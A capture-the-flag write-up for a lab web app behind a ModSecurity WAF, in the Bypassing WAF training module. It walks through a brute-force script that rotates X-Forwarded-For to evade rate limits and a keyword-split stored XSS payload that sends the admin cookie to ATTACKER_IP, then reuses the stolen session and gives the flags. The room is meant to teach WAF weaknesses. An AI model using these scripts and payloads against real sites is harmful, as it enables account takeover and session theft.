FarewellFarewell room icon

This medium-difficulty room is the final challenge in the Bypassing WAF module of the Web Application Red Teaming path. It combines two WAF bypass techniques into one attack chain: rate-limit evasion for brute-forcing a user password, and string concatenation to bypass keyword filters for a stored XSS cookie steal. The room follows Padelify in the module.

Task 1: Farewell

The room deploys a single VM running a PHP farewell message board behind ModSecurity. Two flags are hidden behind two roles: a normal user and admin. A WAF enforces User-Agent filtering and request rate-limiting, so both require a bypass.

Reconnaissance

Start with a port scan:

nmap -sC -sV 10.81.135.84
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.58

The web app at port 80 is a farewell message dashboard with a login form. A scrolling ticker at the top reveals three active users: adam, deliver11, and nora. The room description says the server will be decommissioned in 24 hours, and the admin panel holds all submitted messages.

One critical detail from nmap: the httponly flag is not set on the server’s PHPSESSID cookie. This means JavaScript can read the cookie, which becomes important for the XSS phase.

User enumeration and password hints

The login form posts to /auth.php. Testing with wrong passwords reveals two distinct behaviors: for valid usernames, the response includes the user object with a password_hint field; for invalid ones, a bare auth_failed error.

Using this oracle, all three ticker users plus admin are confirmed valid. Their hints:

UserPassword hint
adminthe year plus a kind send-off
adamfavorite pet + 2
deliver11Capital of Japan followed by 4 digits
noralucky number 789

The deliver11 hint is the most deterministic: Tokyo followed by a 4-digit number, giving exactly 10,000 candidates. The others require unknown context (the specific pet, the specific year and farewell word).

Step 1: brute-force deliver11 through the WAF

Attempting to brute-force directly fails because the WAF blocks requests with non-browser User-Agent strings (the same filter from Padelify). Adding a real browser User-Agent header fixes this, but after a few successful requests the WAF starts rate-limiting with 403 responses.

The bypass: the X-Forwarded-For header. ModSecurity tracks request rates per source IP, but if it trusts the X-Forwarded-For header, sending a random IP with each request resets the rate counter.

import requests
import random
import concurrent.futures

URL = "http://10.81.135.84/auth.php"
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

def worker(digits):
    xfwd = ".".join(str(random.randint(1, 254)) for _ in range(4))
    pwd = f"Tokyo{digits:04d}"
    r = requests.post(URL, data={"username": "deliver11", "password": pwd},
                      headers={"X-Forwarded-For": xfwd, "User-Agent": UA}, timeout=10)
    if "auth_failed" not in r.text and r.status_code == 200:
        return pwd
    return None

with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
    futures = {executor.submit(worker, d): d for d in range(10000)}
    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if result:
            print(f"[+] FOUND: {result}")
            break
[+] FOUND: Tokyo1010

Log in as deliver11 with the discovered password. The dashboard shows a farewell message form and the user flag.

User flag: THM{USER_ACCESS_1010}

The dashboard has a message submission form. Submitted messages appear with “Pending Review” status, meaning an admin bot periodically reviews them. This is a stored XSS scenario: any HTML/JS injected into the message body executes in the admin’s authenticated session when the bot renders it.

Testing with <img src="http://ATTACKER_IP:8888/test.jpg"> confirms the XSS fires: the HTTP listener receives a request from the target server for the image.

Since httponly is not set on the session cookie, the goal is to exfiltrate the admin’s PHPSESSID via JavaScript. However, the WAF blocks the keywords fetch and cookie in POST parameters. Additionally, the combination <img onerror (lowercase) triggers a separate WAF rule.

Three bypasses stacked together:

  1. Uppercase tag: <IMG instead of <img avoids the <img onerror combo rule
  2. eval() wrapper: wraps the payload in eval() so string operations can reconstruct blocked keywords at runtime
  3. String concatenation: "fet"+"ch" and "coo"+"kie" split the blocked keywords across string boundaries

The final payload:

<IMG src=x onerror=eval("fet"+"ch('http://ATTACKER_IP:8888/?c='+document.coo"+"kie)")>

Start an HTTP listener, submit the payload via the dashboard form, and wait for the admin bot:

python3 -m http.server 8888
10.81.135.84 - - "GET /?c=PHPSESSID=tn874hsnhlajfo5fde719t456o HTTP/1.1" 200 -

Use the stolen admin cookie to access /admin.php. The admin panel shows all submitted farewell messages and the admin flag.

curl -s -H "User-Agent: Mozilla/5.0 ..." \
  -H "Cookie: PHPSESSID=tn874hsnhlajfo5fde719t456o" \
  http://10.81.135.84/admin.php

Admin flag: THM{ADMINP@wned007}

Takeaways

  1. Rate-limiting based on client-supplied headers is trivially bypassable. When the WAF trusts X-Forwarded-For for rate tracking without a trusted proxy chain, an attacker can rotate the header value per request and brute-force indefinitely. Rate-limiting must key on the actual TCP source IP, not a forwardable header.

  2. WAF keyword filters fail against runtime string construction. The WAF caught fetch and cookie as literal strings in the POST body, but eval("fet"+"ch") reconstructs the same function call at execution time. The filter operates on the static request text while the browser operates on the dynamic result of string concatenation, and these two views never align.

Room solved 100%: 1 task, 2 answers.